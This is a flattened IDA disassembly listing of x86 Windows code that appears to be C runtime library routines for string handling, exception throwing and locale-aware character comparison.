sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2A0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25C10A6h push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2A0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC6DC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC7E1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2820000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB334, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 26403B3h pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB334, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB334 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB58C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi call near ptr 2630000h nop test eax, eax jz short loc_4269DC mov dword_4DB58C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE2C push edi push esi nop call near ptr 263118Ch test eax, eax jz loc_426B7D mov dword_4DB58C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB58C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 27E1128h nop mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 27E1128h nop test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 263118Ch mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 263118Ch nop test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 27F0000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C2FC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB590 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi call near ptr 25F0000h nop test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push edi nop call near ptr 2600000h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB590, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25F0000h nop jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 27E1128h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27E1128h nop test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB334 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2600000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; 